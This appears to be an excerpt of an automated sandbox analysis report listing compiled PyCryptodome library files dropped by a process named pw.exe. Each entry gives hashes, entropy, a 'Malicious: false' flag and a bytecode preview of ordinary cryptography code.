Preview:	o.........SgUn.......................@...s....d.d.l.Z.d.d.l.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.Z.e.j.d.k.r3e.d.....e.d.e...Z.d.e.d...Z.e.e.d...rFe.d.....e.d...d.k.red.d.l.m.Z.m.Z.m.Z.m.Z...G.d.d...d.e...Z.d.d...Z.n.d.d.l.m.Z...d.d...Z.G.d.d...d.e...Z.e...Z G.d.d...d.e...Z!d.S.)......N)...tobytes..is_native_int)...backend..load_lib..get_raw_buffer..get_c_string..null_pointer..create_string_buffer..c_ulong..c_size_t..c_uint8_ptr.....)...IntegerBaseaY...typedef unsigned long UNIX_ULONG;. typedef struct { int a; int b; void *c; } MPZ;. typedef MPZ mpz_t[1];. typedef UNIX_ULONG mp_bitcnt_t;.. void __gmpz_init (mpz_t x);. void __gmpz_init_set (mpz_t rop, const mpz_t op);. void __gmpz_init_set_ui (mpz_t rop, UNIX_ULONG op);.. UNIX_ULONG __gmpz_get_ui (const mpz_t op);. void __gmpz_set (mpz_t rop, const mpz_t op);. void __gmpz_set_ui (mpz_t rop, UNIX_ULONG op);. void __gmpz_add (mpz_t rop, co

C:\recover\pw\lib\site-packages\Crypto\Math\pycache\_IntegerNative.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10688
Entropy (8bit):	4.86692824185831
Encrypted:	false
SSDEEP:	192:ofd1wtdzk05NpqTIIsPg96w9MOpdClFUeh/z5p3SCS2gp/cj1GiXB6ITVaw3+3Zz:oXOdzN5NpqTIIsEVFnG7h/LSCS2i0j1o
MD5:	A25304A3D9A018A8920650A389ABB7CF
SHA1:	C98941C0959D6A911E7B1DE00D75A31A7AAD2D66
SHA-256:	209F6D6A1043C7577BD039AC2C7D20568DB6708CADE527749DF6A76063146F9E
SHA-512:	442C9BE6E05C430D73ED5F72C94750B1A7AED6AC912FACC6E7F31BF8F00EF939038BCB7E6B88476D49A045853BF3D5910DA286DF324B215A5EC32C939FE71AFB
Malicious:	false
Preview:	o.........Sg.-.......................@...s8...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...G.d.d...d.e...Z.d.S.)......)...IntegerBase.....)...long_to_bytes..bytes_to_long..inverse..GCDc....................@...s....e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.did.d...Z.e.djd.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.e.Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.dd+..Z.d,d-..Z.dkd/d0..Z.dkd1d2..Z.d3d4..Z.dkd5d6..Z.d7d8..Z.d9d:..Z d;d<..Z!d=d>..Z"d?d@..Z#dAdB..Z$dCdD..Z%dEdF..Z&dGdH..Z'dIdJ..Z(dKdL..Z)dMdN..ZdOdP..Z+dQdR..Z,dSdT..Z-dUdV..Z.dWdX..Z/dYdZ..Z0d[d\..Z1d]d^..Z2d_d`..Z3dadb..Z4dcdd..Z5e6dedf....Z7e6dgdh....Z8d.S.)l..IntegerNativez3A class to model a natural integer (including zero)c....................C...s<...t.\|.t...r.t.d.....z.\|.j.\|._.W.d.S...t.y.......\|.\|._.Y.d.S.w.).Nz-A floating point type is not a natural number)...isinstance..float..ValueError.._value..AttributeError)...self..value..r.....=C:\recover\pw\lib\site-packages\Crypto\Math\_IntegerNative.py.

C:\recover\pw\lib\site-packages\Crypto\Math\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	148
Entropy (8bit):	4.307707231960069
Encrypted:	false
SSDEEP:	3:y/DQ/ylluleh/wZWeVx2MWkVWrz4mLOkcTgp:y/E/y/qeh/wvIkArMF4
MD5:	BB8D67339129252BCBACD580E6E4961A
SHA1:	A6E327EEF12AF098B9499778DB4AF22B67F3B842
SHA-256:	C0D6FB88C7FA0265C3DD921F2F6EE990127A51604026D343813A2DFFA782828B
SHA-512:	9E7C02AF18E398F196EA785F741A90CFDF5CD06AC8D611CBC397C7635E7AC3464E65811C420F1C23090243D6E37A00741C6A3CD468D9C7FA2003DD950C33F32B
Malicious:	false
Preview:	o.........Sg.........................@...s....d.S.).N..r....r....r.....7C:\recover\pw\lib\site-packages\Crypto\Math\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\Crypto\Protocol\pycache\KDF.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	20400
Entropy (8bit):	5.440234357199951
Encrypted:	false
SSDEEP:	384:MwGALFMLX4XG+dj/WacI0yhn4HytBQwOTZ8UfXpmJWa7Bbq2KhVCIOG:MdAemj/iI0yh4HytOqUfAJWmbTMBOG
MD5:	B6FBC4F2D8D5BA934783EEBCEF28C436
SHA1:	9F893661EF288E99CAC8C159792E84F90A61D36B
SHA-256:	6638582C5341175E2900EA7DF8451741AD7864455834C3BCA03FD4A464A7F41A
SHA-512:	26EF7AB4C4CA85057175B030961FB03356F0DF1034C1CCB923BDC6112D8FFC64B6588BA95A3E999CED54859C5F8E57B309D3D5A3EB6836F9123BE26ED9E29CFF
Malicious:	false
Preview:	o.........Sg.Y.......................@...s$...d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z.m.Z...e.d.d...Z e.d.d...Z!d'd.d...Z"d(d.d...Z#G.d.d...d.e$..Z%d)d.d...Z&dd.d...Z'd.d...Z(d.d...Z)d.d...Zd+d d!..Z+d"d#..Z,d,d%d&..Z-d.S.)-.....N)...reduce)...tobytes..bord.._copy_bytes..iter_range..tostr..bchr..bstr)...SHA1..SHA256..HMAC..CMAC..BLAKE2s)...strxor)...get_random_bytes)...size..long_to_bytes..bytes_to_long)...load_pycryptodome_raw_lib..create_string_buffer..get_raw_buffer..c_size_tz.Crypto.Cipher._Salsa20z.. int Salsa20_8_core(const uint8_t x, const uint8_t y,. uint8_t out);. z.Crypto.Protocol._scrypta..... typedef int (core_t)(const uint8_t [64], const uint8_t [64], uint8_t [64]);. int scryptROMix(const uint8_t data_in, uint8_t *data_out,.

C:\recover\pw\lib\site-packages\Crypto\Protocol\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	4.888941603158903
Encrypted:	false
SSDEEP:	3:y/DMl3lGptClylizUCN+Z/9/Z6EJDkPlPlBRQGKMWkVWrz47BLOMLkcTgf:y/ppQylud+Z/dZ6+43TMkArM7BL9+
MD5:	DA5B7E0745AC9E0AB8FAC413A2E973C7
SHA1:	B3587CC90E810EE58FD6614706A813B2CED6BC2D
SHA-256:	71DAC179DE6F1280B6A5512C3A24DE213A803788E61575A6998A6F7578F16B58
SHA-512:	AC9BFB74BE46BDA8DE97C6DA9C10885339D5F350A9670A7E39C92F0F1E17A949DA1677F41FCE50D6025803AE12E2F83B67BAEC0255030F13769159468E54FE6A
Malicious:	false
Preview:	o.........Sg1........................@...s....g.d...Z.d.S.).).Z.KDFZ.SecretSharingZ.DHN)...__all__..r....r.....;C:\recover\pw\lib\site-packages\Crypto\Protocol\__init__.py..<module>....s......

C:\recover\pw\lib\site-packages\Crypto\PublicKey\pycache\RSA.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	23784
Entropy (8bit):	5.542551698510327
Encrypted:	false
SSDEEP:	384:Kh5ntjDIVVMEPHq5bKA24sW4gEBNZ8CVgwpPjdbRF9UPRCO7GA4Y:Kt4MES5R2V+Ed3/pPthKCO7z7
MD5:	51D83EF3D1C5B89DB3F46B99F0D28B01
SHA1:	009F22A4BE254F49AA145B74A2AE558804325288
SHA-256:	BE0BCAEA2D912BD28B7FF46B2202AB33CB9304355885F7EAEBF80E2FB5B5E8A4
SHA-512:	CD8B8918E8EF0F8D82AE2836617B0FC242DFCBE3DF071CE0AA59B0029DB21C3257F815F691CE5F2BDE28CC03E0235B68766FD8BB1A007D8E734E10675E14FBDD
Malicious:	false
Preview:	o.........Sg.\|.......................@...s....g.d...Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z.m.Z...G.d.d...d.e...Z.d#d.d...Z.d$d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z d.d...Z!d.d...Z"d%d d!..Z#e#Z$d"Z%d.S.)&)...generate..construct..import_key..RsaKey..oid.....N)...Random)...tobytes..bord..tostr)...DerSequence..DerNull)...bytes_to_long)...Integer)...test_probable_prime..generate_probable_prime..COMPOSITE)..._expand_subject_public_key_info.._create_subject_public_key_info. _extract_subject_public_key_infoc....................@...sV...e.Z.d.Z.d.Z.d.d...Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.e.d.d.....Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d d!..Z.d"d#..Z.d$d%..Z.d&d'..Z.d(d)..Z.d*d+..Z.d,d-..Z.d.d/..Z.d0d1..Z.d2d3..Z..6.5dKd7d8..Z.d9d:..Z.d;d<..Z d=d>..Z!d?d@..Z"dAdB..Z#dCdD..Z$dEdF..Z%dGdH..Z&dIdJ..Z'd5S.)Lr....a....Class defining an

C:\recover\pw\lib\site-packages\Crypto\PublicKey\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1696
Entropy (8bit):	5.365540310563799
Encrypted:	false
SSDEEP:	48:9STw1WWXezNJeVhfcsso0Gar/xCVf9SVY:8sk4Ure3fbsoiSx
MD5:	28E1ED05AD3D1E6FC2AD6A25CA887221
SHA1:	40EA423CF00DFE66634D4F3D9AC4993CE62972F4
SHA-256:	5398DCC4DC32410815A90D8B5D8841F2F2F97586AD2B5C3081B2F136CFF43F19
SHA-512:	AD58B19BABA87CE69450DF32BC1ED8EB8822627BDB9E60DE18E1CFA221F144AD9CC10C6DBA2F3787DD7A0833FFA4649EA76CA2C23394DE6B6F1A17F0C86C3861
Malicious:	false
Preview:	o.........Sg.........................@...s8...d.d.l.m.Z.m.Z.m.Z.m.Z.m.Z...d.d...Z.d.d...Z.d.d...Z.d.S.)......)...DerSequence..DerInteger..DerBitString..DerObjectId..DerNullc....................C...s....t...j.\|.d.d...}.t...j.\|.d...d.d...}.t.....\|.d.....}.t.....\|.d.....j.}.t.\|...d.k.r,d.}.n.z.t.....\|.d.......d.}.W.n.......\|.d...}.Y.\|.j.\|.\|.f.S.).z.Parse a SubjectPublicKeyInfo structure... It returns a triple with:. * OID (string). * encoded public key (bytes). * Algorithm parameters (bytes or None). .......Z.nr_elementsr....)......r....r....N).r......decoder....r......value..lenr....)...encoded..spkiZ.algo..algo_oidZ.spkZ.algo_params..r.....<C:\recover\pw\lib\site-packages\Crypto\PublicKey\__init__.py.._expand_subject_public_key_info....s............................r....c....................C...s@...\|.d.u.r.t.t.\|...g...}.n.t.t.\|...\|.g...}.t.\|.t.\|...g...}.\|.....S.).N).r....r....r......encode).r....Z.public_key..params..algorithmr....r....r....r......_create_subj

C:\recover\pw\lib\site-packages\Crypto\Random\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.6043419686162546
Encrypted:	false
SSDEEP:	24:/tWRuX2i3FOd3krkInkOCUqxUNRQj/jfhlHJ4fEByWkJwjGP4gE/:kRHd0gUEU9iDrtP6Af
MD5:	D21806EE3F3464BE87B5D27D8DE67F5D
SHA1:	1690C7375E71D80241E7C9CAFCF06ED26605997D
SHA-256:	ACF1FDD83360D6CE3F80F5DA7EF42DE1A1C2ED0C7E7549609BB8E11FCE9CF087
SHA-512:	8A3A7388CD42762089CF0FE58A644184AAA96D6CB82C2CEB824EB58A85978781D6B460F868AF6800C6FFCC62761FA8DA66522EAF83415CA13A6B18F095B5C8B0
Malicious:	false
Preview:	o.........SgJ........................@...s<...d.d.g.Z.d.d.l.m.Z...G.d.d...d.e...Z.d.d...Z.d.d...Z.e.Z.d.S.)...new..get_random_bytes.........urandomc....................@...s,...e.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)..._UrandomRNGc....................C...s....t.\|...S.).z0Return a random byte string of the desired size.r....)...self..n..r.....9C:\recover\pw\lib\site-packages\Crypto\Random\__init__.py..read....s......z._UrandomRNG.readc....................C........d.S...z0Method provided for backward compatibility only.Nr......r....r....r....r......flush!..........z._UrandomRNG.flushc....................C...r....r....r....r....r....r....r......reinit%...r....z._UrandomRNG.reinitc....................C...r....r....r....r....r....r....r......close)...r....z._UrandomRNG.closeN)...__name__..__module__..__qualname__r....r....r....r....r....r....r....r....r........s..............r....c....................O...s....t...S.).zFReturn a file-like object that outputs cryptographically random by

C:\recover\pw\lib\site-packages\Crypto\Random\pycache\random.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	3381
Entropy (8bit):	5.288054386073564
Encrypted:	false
SSDEEP:	96:Zk/Yq7x0J5PPcWgudGUJFp9YY3sjuhXNvLHf85jL:ZW+5PP7gO8Y31hdvLH6
MD5:	8ACA260E00B76DB75526CEDE3BF7F9D5
SHA1:	95F674300591FA3C77310108A9D067625CCB0580
SHA-256:	A3DF63C9084F21F7C08CAC49FCDB142C08E83169176CA241BCC89EF13B737211
SHA-512:	F65D87B1273EFE52AFDF9ADAE9693CD23FFB70F57BE431CE5ED0E04428B27DF779E3D5E253F8614437C366BFF86D6F05507CBC7FA28EC0B97655853199027F23
Malicious:	false
Preview:	o.........Sg.........................@...sv...g.d...Z.d.d.l.m.Z...d.d.l.m.Z...G.d.d...d.e...Z.e...Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.e.j.Z.d.d.l.m.Z.m.Z.m.Z.m.Z...d.S.).)...StrongRandom..getrandbits..randrange..randint..choice..shuffle..sample.....)...Random)...is_native_intc....................@...sF...e.Z.d.Z.d.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.).r....Nc....................C...sX...\|.d.u.r.\|.d.u.r.d.\|._.d.S.\|.d.u.r.\|.d.u.r.\|.\|._.d.S.\|.d.u.r(\|.d.u.r(\|.j.\|._.d.S.t.d.....).Nz(Cannot specify both 'rng' and 'randfunc')..._randfunc..read..ValueError)...self..rng..randfunc..r.....7C:\recover\pw\lib\site-packages\Crypto\Random\random.py..__init__ ...s..................z.StrongRandom.__init__c....................C...s:...\|.j.d.u.r.t.....j.\|._.d.\|.>.d...}.\|.t.\|...t.\|.d.......@.S.).z%Return an integer with k random bits.N..........).r....r......newr......bytes_to_long..ceil_div).r......k..maskr....r....r....r....*...s............z.StrongRandom.getrandbitsc................

C:\recover\pw\lib\site-packages\Crypto\Signature\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	337
Entropy (8bit):	5.213535475563592
Encrypted:	false
SSDEEP:	6:y/F31/WlJnIsICA51dJyikQSKCUICAfeT37ZgAk+UuMkArMgA5762:Ch9WllIVF1mikQ4NSDQ+UufD762
MD5:	6A8C76D4F8C538F36E0458A61ACDE454
SHA1:	26DFF38EACF2FAA28EC9F621B5E1EC927C163830
SHA-256:	D3932B7188E0F236A69145E60A1DE8AC7EF8D9409DFEEF2987343F3F2A88ADAC
SHA-512:	744FD501C768E1157EDFBEF5BEAF49AF1A2037AF1623E816E7AB931AF3328E4630715D89FA795B14B003B7E90E84DBDFC7ADB2D25985A0EDA947BBE0FCBC3678
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.S.).zeDigital signature protocols..A collection of standardized protocols to carry out digital signatures..).Z.PKCS1_v1_5Z.PKCS1_PSSZ.DSSZ.pkcs1_15Z.pssZ.eddsaN)...__doc__..__all__..r....r.....<C:\recover\pw\lib\site-packages\Crypto\Signature\__init__.py..<module>....s........

C:\recover\pw\lib\site-packages\Crypto\Signature\pycache\pss.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	10785
Entropy (8bit):	5.3197701292455
Encrypted:	false
SSDEEP:	192:31XKDu4taLRgOBEsNXAYcURRFNlm32KFO6GaVRlpBlYa:31aCI+RgslADURRV/KPGaVZBea
MD5:	B472B354DB8A45BB756B47BDFAD3F9D6
SHA1:	432B60924A2B0E96C652C5689D0362823DFB7110
SHA-256:	71A740E1918068CFBC3185E5457A881F31E5C3BA03B233E49CEA5EF7854609E6
SHA-512:	CECD2B6926E6DC17A37E9B68E5BE7F380FD217DC767B54E8D6C2BAE5CBB14E052F2621014AD44572CA406836A5C8DAED2242BCBF52D01BC5D449DE8ACB869B84
Malicious:	false
Preview:	o.........Sg.6.......................@...sz...d.d.l.m.Z.m.Z.m.Z...d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z...d.d.l.m.Z...G.d.d...d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...bchr..bord..iter_rangeN)...ceil_div..long_to_bytes..bytes_to_long)...strxor)...Randomc....................@...s0...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...PSS_SigSchemezvA signature object for ``RSASSA-PSS``.. Do not instantiate directly.. Use :func:`Crypto.Signature.pss.new`.. c....................C...s....\|.\|._.\|.\|._.\|.\|._.\|.\|._.d.S.).at...Initialize this PKCS#1 PSS signature scheme object... :Parameters:. key : an RSA key object. If a private half is given, both signature and. verification are possible.. If a public half is given, only verification is possible.. mgfunc : callable. A mask generation function that accepts two parameters:. a string to use as seed, and the lenth of the mask to. genera

C:\recover\pw\lib\site-packages\Crypto\Util\pycache\Padding.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	2321
Entropy (8bit):	5.416150993674477
Encrypted:	false
SSDEEP:	48:obQJrnAeKJdRXlkNCiFsx3miW7WlxeKbNRT7ytqmcQg:obQJDAeqzlo2W6re637wg
MD5:	A15A0A085B1794A8623B9B4C87F1104D
SHA1:	C6F9B727F903E19B214C938BEF474369656D1EC8
SHA-256:	F0CE2A2B7484A5BBEAA49856FBC0EF4472E5CFEBC6305C1A3F120CBC81BCD897
SHA-512:	2112E215FAD1C894A9525B89D70A5B14EDB42B405853CAD6283ED5F0B3A797E646EA4682E264EC05E8EE74D2EC7E5E002625F98EF9B3452891B517037AD66658
Malicious:	false
Preview:	o.........SgE........................@...s(...d.d.g.Z.d.d.l.T.d.d.d...Z.d.d.d...Z.d.S.)...pad..unpad.....).....pkcs7c....................C...s....\|.t.\|...\|.....}.\|.d.k.r.t.\|...\|...}.\|.\|...S.\|.d.k.rt.d...\|.d.....t.\|.....}.\|.\|...S.\|.d.k.r>t.d...t.d...\|.d.......}.\|.\|...S.t.d.....).a....Apply standard padding... Args:. data_to_pad (byte string):. The data that needs to be padded.. block_size (integer):. The block boundary to use for padding. The output length is guaranteed. to be a multiple of :data:`block_size`.. style (string):. Padding algorithm. It can be 'pkcs7' (default), 'iso7816' or 'x923'... Return:. byte string : the original data with the appropriate padding added at the end.. r......x923r...........iso7816......Unknown padding style)...len..bchr..ValueError).Z.data_to_pad..block_size..style..padding_len..padding..r.....6C:\recover\pw\lib\site-packages\Crypto\Util\Padding.pyr....'...s..........................c...

C:\recover\pw\lib\site-packages\Crypto\Util\pycache\init.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	1092
Entropy (8bit):	4.822163571505868
Encrypted:	false
SSDEEP:	24:LlUilE4ApU2gWfri+RHvEIO4oFaQvuYjVrGivBls2/K:LiilbASgf++BcD4YaQVprGGBSR
MD5:	A41B3D4E5890FADE661628E2757E3809
SHA1:	506D96DCFF0BADF0345BC6DC2BC86BA459769C98
SHA-256:	6A2F99C70DA4BB812B54215012C17EF9145BEFD456534FE64607B5E5747D8B98
SHA-512:	23E759E99F5EE72F1E3B475EF7A495630978E294610E0EC41ECD1B370C15A1F6FEAD4F46B8EEBDA34AF9F72EB1265C62154721E2B0F69D1F52F88251945A4D52
Malicious:	false
Preview:	o.........Sg.........................@...s....d.Z.g.d...Z.d.S.).a[...Miscellaneous modules..Contains useful modules that don't belong into any of the.other Crypto.* subpackages...======================== =============================================.Module Description.======================== =============================================.`Crypto.Util.number` Number-theoretic functions (primality testing, etc.).`Crypto.Util.Counter` Fast counter functions for CTR cipher modes..`Crypto.Util.RFC1751` Converts between 128-bit keys and human-readable. strings of words..`Crypto.Util.asn1` Minimal support for ASN.1 DER encoding.`Crypto.Util.Padding` Set of functions for adding and removing padding..======================== =============================================..:undocumented: _galois, _number_new, cpuid, py3compat, _raw_api.).Z.RFC1751..numberZ.strxorZ.asn1..CounterZ.PaddingN)...__doc__..__all__

C:\recover\pw\lib\site-packages\Crypto\Util\pycache\_cpu_features.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	679
Entropy (8bit):	4.486777272054804
Encrypted:	false
SSDEEP:	12:CxQ4UlabXgAin19S07ogf2mv99J+di+ymIm+l:MUliQAin19SkXf2+J+dBIL
MD5:	5BD3CDD392B6DC42230CDEE203B3E927
SHA1:	45EF295D961F27F427B4508627ABFAE1FACF1831
SHA-256:	201CF40E91C73E01A4672269566F1B2E7364AFD6E1AC85A9E7C777E3032B8AD8
SHA-512:	65177C4124F56BE5A1C8C39EB0A7A90054755ADD1A1376076674A8DA3DD593025182953DABB5690C3B1F22323592CABEB82F4369D15FD2529A5970F78377EA61
Malicious:	false
Preview:	o.........Sg.........................@...s*...d.d.l.m.Z...e.d.d...Z.d.d...Z.d.d...Z.d.S.)......)...load_pycryptodome_raw_libz.Crypto.Util._cpuid_cz.. int have_aes_ni(void);. int have_clmul(void);. c....................C........t.....S...N)..._raw_cpuid_lib..have_aes_ni..r....r.....<C:\recover\pw\lib\site-packages\Crypto\Util\_cpu_features.pyr....)..........r....c....................C...r....r....).r......have_clmulr....r....r....r....r....-...r....r....N)...Crypto.Util._raw_apir....r....r....r....r....r....r....r......<module>....s................

C:\recover\pw\lib\site-packages\Crypto\Util\pycache\_file_system.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	838
Entropy (8bit):	5.278329492390717
Encrypted:	false
SSDEEP:	12:ClyeLuq3pxEgiVfDITrCZvZBQcOiKZRGOSzJVxsC8m4sEjVxMtnOrSJN8HzyT29I:MLuapeA2HBZ8SlwC8ES3OyHzG28M/3k
MD5:	C980EFA5B0BF22BA1251D1514C9CC811
SHA1:	934A26D95F4B9167931375B99BA336546FC56C8D
SHA-256:	C6B2F7373895E4C1F0281B72EDD5E23D8157ECA10245EE1264D1547E57F0BFBE
SHA-512:	9BADEDDFB1FC1FB05DC4B2A4D5F0B0D26A6B74F6567CA92005F1C399475B8677BEEEF1AE81B8126E588862DE8485AA2564456D1A659EE5587D26D3EFB825B44E
Malicious:	false
Preview:	o.........Sg.........................@...s....d.d.l.Z.d.d...Z.d.S.)......Nc....................C...sd...\|.d...d.k.r.t.d.....t.\|.d.d.......\|.g...}.t.j...t.j...t.....\.}.}.t.j...\|.d...}.t.j.j.\|.g.\|...R...S.).a....Return the complete file name for the module.. dir_comps : list of string. The list of directory names in the PyCryptodome package.. The first element must be "Crypto"... filename : string. The filename (inclusing extension) in the target directory.. r....Z.Cryptoz)Only available for modules under 'Crypto'.....Nz...)...ValueError..list..os..path..split..abspath..__file__..join)...dir_comps..filenameZ.util_lib.._Z.root_lib..r.....;C:\recover\pw\lib\site-packages\Crypto\Util\_file_system.py..pycryptodome_filename"...s................r....).r....r....r....r....r....r......<module>....s........

C:\recover\pw\lib\site-packages\Crypto\Util\pycache\_raw_api.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	8715
Entropy (8bit):	5.198452519858589
Encrypted:	false
SSDEEP:	192:rhLCEONC31/QtcU4/GPCenzp7Qb+RQrBIQIu7XNNHD0yXNvjB2IatSxB/dbJg1uw:rhWEONC31ItcUGGPCenzp7Qb+RQrBIQO
MD5:	F477CD8F4083E66403E44349EEE1662A
SHA1:	6B9329185F09399783B6A32E5F9AB776A7E24576
SHA-256:	16D41161B7B1ADF8CEFDA485A154DF34A1F0668D78DF2A665B1601E281D7A858
SHA-512:	184C6BC9E92AFBC4CFACF78CC086C56BBC02ABE8697C1289FBC3CE7B32576EC7307FD5923B2EA03178D2511C08BD6C62C293D6D4A2E8A6370FEAFBC86BB5D073
Malicious:	false
Preview:	o.........Sg}.......................@...s....d.d.l.Z.d.d.l.Z.d.d.l.Z.d.d.l.m.Z...d.d.l.m.Z...e.j.d...d.k.r:d.d.l.Z.g.Z.e.....D.].\.Z.Z.Z.e.e.j.k.r8e...e.....q)n.d.d.l.m.Z...e.j.Z.e.e.f.Z.G.d.d...d.e...Z.zkd.e.j.v.r_e.j.j.d.k.r_e.d.....e.j.d.k.rme.j.d.k.rme.d.....d.d.l.m.Z...e...Z.e.j Z!e.."e..#d.....Z$e..#d...j%j&Z'd.d...Z(d.d...Z)e)Ze)Z+e)Z,d.d...Z-d;d.d...Z.d.d...Z/d.d...Z0d.d...Z1G.d.d ..d e...Z2d!d"..Z3d#Z4W.nt..e...y.......d.d.l5Z5d.d$l5m6Z6m7Z7m8Z8m)Z)mZm-Z-m.Z.m,Z,m+Z+..d.d%l9m:Z:..d.d&l5m;Z'..d.Z!g.Z<d'd(..Z,d)d...Z(d*d...Z/d+d...Z0e5j=Z>d.Z?e5j@jAZBe5j@jCZDe5jEZFe5.Ge>..ZHG.d,d-..d-e5jI..ZJd.d...Z1G.d/d0..d0e...ZKd1d"..Z3d2Z4Y.n.w.G.d3d4..d4e...ZLd5d6..ZMd7d8..ZNd9d:..ZOd.S.)<.....N)...byte_string)...pycryptodome_filename.....)...machineryc....................@...s(...e.Z.d.Z.e.j.d.d.....Z.e.j.d.d.....Z.d.S.)..._VoidPointerc....................C........d.S.).z&Return the memory location we point toN......selfr....r.....7C:\recover\pw\lib\site-packages\Crypto\Util\_raw_api.

C:\recover\pw\lib\site-packages\Crypto\Util\pycache\asn1.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	30860
Entropy (8bit):	5.2212347204549525
Encrypted:	false
SSDEEP:	768:6z1Enqf1DECvkHf9R3OPtm6q3YZHjSgfShUUEV6:6ziCIRePYN3YZHeDzEV6
MD5:	F6F870EB49D26F705A93032334E3D587
SHA1:	E9BC99976EB77F433B8C267144229F81129D83D9
SHA-256:	2B6A9A3DCF0E40EBD04B16659BA4B74967FF320C4E91D270941E062C23908097
SHA-512:	22DCEAB8945C7276EFC7790F5B34D8DCD31CEDCCCE7B4BC4D13AD45FA528FA3C53FBA4C306533F15DFE2422EF34D6A8ECADADA8EB3D7047639E48B17C9B1982C
Malicious:	false
Preview:	o.........Sgq........................@...s....d.d.l.Z.d.d.l.m.Z.m.Z.m.Z...d.d.l.m.Z.m.Z...g.d...Z.d.d.d...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.G.d.d...d.e...Z.d.S.)......N)...byte_string..bchr..bord)...long_to_bytes..bytes_to_long)...DerObject..DerInteger..DerBoolean..DerOctetString..DerNull..DerSequence..DerObjectId..DerBitString..DerSetOfFc....................C...s4...d.}.z.\|.\|...}.W.n...t.y.......Y.d.S.w.\|...p.\|.d.k.S.).Nr....F)...TypeError)...x..only_non_negative..test..r.....3C:\recover\pw\lib\site-packages\Crypto\Util\asn1.py.._is_number(...s..................r....c....................@...s@...e.Z.d.Z.d.Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.d...Z.d.S.)...BytesIO_EOFzeThis class differs from BytesIO in that a ValueError exception is. raised whenever EOF is reached.c....................C...s....\|.\|._.d.\|._.d.\|._.d.S...Nr....)..._buffer.._index.._bookmark)...selfZ.in

C:\recover\pw\lib\site-packages\Crypto\Util\pycache\number.cpython-310.pyc (copy)

Process:	C:\recover\pw\pw.exe
File Type:	data
Category:	dropped
Size (bytes):	61113
Entropy (8bit):	5.245890679034291
Encrypted:	false
SSDEEP:	1536:thhCN5kZjyUy0lwXEgNjOtg78YrIn6VhjlLQ5DR4wLDzwK2csHXV:thQkpyUy0lsEgZOtg78sI6VTLQ5DRvv6
MD5:	D689293C9999E05676971A3ACB2EC6A2
SHA1:	962B281A3B4C90E1C209619E6C48F767A2DEA505
SHA-256:	CB0FE28E5D8EE40732DFF70FB29CE39584220E91F96A587CEBD62569978ADC84
SHA-512:	5B02CB0383E7E93D27F26C903536E6E55F897D67F876F014218B14DD75D9A8C83D1088807D84EF9D60FFBBA3D5CC4A12F3C77755EB47E07D5A39A4EB96F6EF6C
Malicious:	false
